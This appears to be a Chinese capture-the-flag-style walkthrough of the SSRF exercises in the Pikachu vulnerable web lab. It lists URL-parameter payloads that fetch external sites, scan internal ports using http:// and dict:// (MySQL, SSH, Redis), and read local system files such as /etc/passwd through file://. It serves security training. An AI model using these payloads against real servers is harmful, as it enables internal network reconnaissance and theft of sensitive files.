pikachu_ssrf攻略

ssrf(curl):

打开pikachu靶场:

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

发现URL地址最后面是info1.php 猜测一下有没有可能存在info2.php?

尝试修改访问地址:

因为curl支持很多协议(http,file想,dict等),尝试访问一下:

文件访问(http)

比如说修改url为:?url=http://www.baidu.com,访问百度页面?url=http://www.baidu.com/robots.txt,访问百度文件等

?url=http://www.baidu.com

?url=http://www.baidu.com/img/bd_logo.png

?url=http://www.baidu.com/robots.txt

端口扫描(http,dict)

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说主机开了http端口

?url=http://127.0.0.1:80

?url=http://127.0.0.1:3306

?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22

?url=http://10.10.10.1:6379

读取本地文件(file)

修改url为:?url=file:///etc/passwd,查看文件的内容:

?url=file:///c:/windows/system32/drivers/etc/hosts

?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php

ssrf(file_get_content)

首先了解什么是file_get_content的使用:

file_get_contents() 把整个文件读入一个字符串中。

语法:file_get_contents(path,include_path,context,start,max_length)

进行协议测试:

文件读取

读取本地信息?file=file:///c:/1.txt

http协议请求内网资源

?file=http://127.0.0.1/ssrf/ssrf_curl.php读取文件内容

相关推荐
unable code9 小时前
攻防世界-Misc-Wire1
网络安全·ctf·misc·1024程序员节
一岁天才饺子15 小时前
SSRF漏洞绕过与漏洞解决
网络·网络安全·ssrf
Chengbei1115 小时前
fastjson 原生反序列化配合动态代理绕过限制
java·安全·网络安全·系统安全·安全架构
m0_4660499716 小时前
Webgoat-(A1)Broken Access Control:Hijack a session
web安全·网络安全
Chengbei1117 小时前
CVE-2025-24813 Tomcat 最新 RCE 分析复现
java·安全·web安全·网络安全·tomcat·系统安全·网络攻击模型
QZ1665609515918 小时前
2025年国内精细化、可交互、轻量级的泛监测体系产品推荐
网络安全
GoldY丶19 小时前
【Geek渗透之路】小迪安全笔记——web安全(3)
笔记·安全·web安全·网络安全·安全威胁分析
晚风(●•σ )20 小时前
【华为 ICT & HCIA & eNSP 习题汇总】——题目集27
网络·计算机网络·网络安全·华为
unable code1 天前
攻防世界-Misc-Miscellaneous-200
网络安全·ctf·misc
unable code2 天前
攻防世界-Misc-4-1
网络安全·ctf·misc·1024程序员节